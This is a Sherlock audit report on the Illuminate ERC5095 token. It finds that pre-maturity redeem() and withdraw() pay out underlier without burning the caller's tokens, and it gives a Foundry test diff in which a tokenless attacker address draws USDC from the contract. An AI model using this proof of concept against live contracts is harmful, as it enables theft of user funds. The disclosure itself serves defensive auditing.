Holmgren - ERC5095's redeem() and withdraw() pre-maturity don't consume caller's tokens

[sherlock-admin]

Holmgren

high

ERC5095's redeem() and withdraw() pre-maturity don't consume caller's tokens

Summary

ERC5095's redeem() and withdraw() pre-maturity don't consume caller's tokens. They thus give money for free to anyone who asks.

Vulnerability Detail

redeem() and withdraw() in ERC5095 when called before maturity transfer underlier to the caller without taking or burning any tokens from the caller. They thus give money for free to anyone who asks. See https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L225, https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L300, https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L315 and https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L246.

Impact

Any user can steal tokens held by the iPT contract.

Code Snippet

The following two tests pass while they shouldn't:

diff --git a/test/fork/ERC5095.t.sol b/test/fork/ERC5095.t.sol
index 84e522c..fca34ff 100644
--- a/test/fork/ERC5095.t.sol
+++ b/test/fork/ERC5095.t.sol
@@ -173,8 +173,19 @@ contract ERC5095Test is Test {
         uint256 amount = 100000;
         uint256 shares = 120000;
         deal(address(Contracts.YIELD_TOKEN), address(token), shares);
-        token.withdraw(amount, address(this), address(this));
-        assertGt(IERC20(Contracts.USDC).balanceOf(address(this)), 0);
+
+        address attacker = address(123456);
+        // The attacker has no tokens of any kind
+        assertEq(IERC20(Contracts.USDC).balanceOf(attacker), 0);
+        assertEq(IERC20(Contracts.YIELD_TOKEN).balanceOf(attacker), 0);
+        assertEq(IERC20(token).balanceOf(attacker), 0);
+
+        vm.startPrank(attacker);
+        token.withdraw(amount, attacker, attacker);
+        vm.stopPrank();
+
+        // And now the attacker has tokens
+        assertGt(IERC20(Contracts.USDC).balanceOf(attacker), 0);
     }
 
     function testWithdrawPostMaturity() public {
@@ -200,8 +211,19 @@ contract ERC5095Test is Test {
         uint256 amount = 100000;
         uint256 shares = 120000;
         deal(address(Contracts.YIELD_TOKEN), address(token), shares);
-        token.redeem(amount, address(this), address(this));
-        assertGt(IERC20(Contracts.USDC).balanceOf(address(this)), 0);
+        
+        address attacker = address(123456);
+        // The attacker has no tokens of any kind
+        assertEq(IERC20(Contracts.USDC).balanceOf(attacker), 0);
+        assertEq(IERC20(Contracts.YIELD_TOKEN).balanceOf(attacker), 0);
+        assertEq(IERC20(token).balanceOf(attacker), 0);
+
+        vm.startPrank(attacker);
+        token.redeem(amount, attacker, attacker);
+        vm.stopPrank();
+
+        // And now the attacker has tokens
+        assertGt(IERC20(Contracts.USDC).balanceOf(attacker), 0);
     }
 
     function testRedeemPostMaturity() public {

Tool used

Manual Review

Recommendation

Disallow calling those methods before maturity or make sure that the caller's tokens are consumed.

Duplicate of #195